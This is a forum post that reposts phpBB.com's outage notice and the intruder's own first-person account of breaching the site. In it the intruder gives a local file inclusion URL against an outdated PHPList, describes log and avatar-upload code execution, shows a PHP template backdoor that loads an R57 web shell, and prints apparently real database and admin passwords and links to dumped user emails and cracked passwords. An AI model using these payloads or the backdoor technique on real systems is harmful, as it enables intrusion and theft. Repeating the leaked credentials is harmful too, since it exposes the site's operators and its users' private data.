Topic: PHPBB

Thanks to Testy1 for alerting me to this!

If you go to http://phpbb.com you will be greeted with this:


We are sorry to report that we have been attacked through a vulnerability in an outdated PHPList installation. phpBB.com and related sites will remain unavailable while we work to recover. No vulnerabilities have been found in the phpBB software itself.

You can download phpBB here: http://www.ohloh.net/p/phpbb

You can get support at the temporary support forums or on IRC: chat.freenode.net #phpbb

Ė the phpBB team
Read how it was done ...

From http://www.euphoricarythmia.com/showthread.php?t=23616

One of the largest free forum software sites was hacked. Site is still off-line. The forum software itself wasn't hacked, but the site itself was.

Long story short the hacker now has access to all usernames, passwords and personal information. Just shows the lengths these hackers to thru to hack into stuff.


The hacker left the following post on a blog:


It all started on Jan 14th when I was surfing milw0rm and came across this exploit: http://www.milw0rm.com/exploits/7778 I then remembered that phpbb.com was running PHPlist and went looking through my email to find the link to the scriptís location. So I went to phpbb.com/lists and sure enough they were running a vulnerable version. Next I enabled my favorite program proxy program and tried http://www.phpbb.com/lists/admin/index.php?_SERVER[ConfigFile]=../../../../../../etc/passwd and sure enough it included the etc/passwd


So I moved on to /etc/httpd/conf/httpd.conf

And eventually found my way to their error log /home/logs/phpbb.com/error_log. After a little looking I figured out that their forums were running off /home/virtual/phpbb.com/community/ well it has been known for some time that you can include code in the error log. So I wanted to run some code, well in PHPBB3 the avatars are located in a folder called /home/virtual/home/virtual/phpbb.com/community/images/avatars/upload/f51ee61fe7a83fdf72780912bced0855_ID.jpg

So my first avatar was something simple and I wanted to see if phpbb kept their config file in plain text so cat /home/virtual/phpbb.com/community/config.php and sure enough, its in plain text.
$dbms = 'mysqli';
$dbhost = 'phpbb.db.osuosl.org';
$dbport = '';
$dbname = 'phpbb';
$dbuser = 'phpbb2';
$dbpasswd = 'saxM9nfRjLbJ2Yy5';
$table_prefix = 'community_';

While I was at it I checked out the config for PHPlist and it was also in plain text:
$database_host = "localhost";
$database_name = "phpbb_phplist";
$atabase_user = 'phplist';
$database_password = 'Berti3_Danc3';

So I started running commands and found out that I can upload a php text file on the forums and by finding where the path it was stored I was able to get around their 14kb restrictions on avatars and a lot easier than editing images with edjpgcom. So doing a mysql dump of the phplist_admin table it showed in plain text that the password for the one admin account was phpbb_n3ws and the login was phpBB. Wow I am shocked no one brute forced this. So I login and see what I can come across, wow 400,000 registered emails, Iím sure that will go quick on the black market, sorry people but expect a lot of spam. After trying to modify the files that were stored in PHPlist I gave up and moved on to the forums. But not before dumping the PHPlist emails here: http://rapidshare.com/files/192305758/out.txt

On the phpbb forums it states it has 200,000 members, but due to them constantly getting spammed they have well over 400,000 accounts. I started dumping the community_users table with their user_id, username and user_password. PHPBB stores their userís passwords in unsalted md5 and their adminís passwords in some funky hash. But if you run your own forum and are an admin you can have your forums create the hash, and then you do an mysql update to one of the admin accountís and your in. Or if you change their password to yours you can use the recover password function. More to come from this later.

So I wrote a script that submits via curl, the md5 hash to a website and then stores the successful result in my own mysql database. The total accounts cracked are: 28635. I could have continued cracking but it was getting boring. Here is a sql file of the cracked passwords. Warning, some of the user nameís arenít right as I had to remove ticks and quotes for it to run in my script, so I included their user id so you can check their proper login name. http://rapidshare.com/files/192304153/phpbb_users.sql

In gaining access to the admin panel of the forums, I was able to read staff forums and come across some interesting posts. I will share some with you.

List passwords:
TO try and make this easier, below is a list of the mailing list passwords I had, please update and add any others that you have

Told you they were random Meik

edit by dhn: added website-commits edit by tm: added phpbb-honey-commits, st--tool-commits, iit-track-commits.


That password should work for all mailing lists on code.phpbb.com.
Emergency contacts and irc info:

And then I remembered that the admin panel allows you to dump tables. So I dumped the users table which is accessible here:

Next I enabled php in template files and added this bit of code to one of the templates:
$ip=$_SERVER['REMOTE_ADDR']; if($ip == "x.x.x.x"){include("/home/virtual/phpbb.com/community/files/(myid)_82ec9f9eb80df2a16cc3638429631c9f");}

Which happened to be a shell, R57shell actually. I then searched for a writable directory and created a php file and wrote the source code to that file. I cleaned up the template and settings and logs and left the forums to run the way they were.

After searching around using the shell I came across the Blog settings:
define('DB_NAME', 'wordpress'); // The name of the database
define('DB_USER', 'blog'); // Your MySQL username
define('DB_PASSWORD', 'htsCCvyCnt5jPYMx'); // ...and password
define('DB_HOST', 'localhost'); // 99% chance you won't need to change this value
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

And now it comes to an end, you may ask why did I do this? For fun mainly, but what I would like to suggest to the team at phpbb is this. If you are going to run third party scripts, either integrate them or keep up to date on their patches. (even though the patch wasnít released for 2 weeks). Also donít allow adminís to recover their passwords, they should have to contact another admin. Another item, doesnít keep plain text files of passwords or in the database plain text passwords.

I know this isnít the best read, but it is very hard to look back on everything you did over the course of a few weeks. But hopefully I can now sleep better knowing that I am not worrying about the next way to break in.
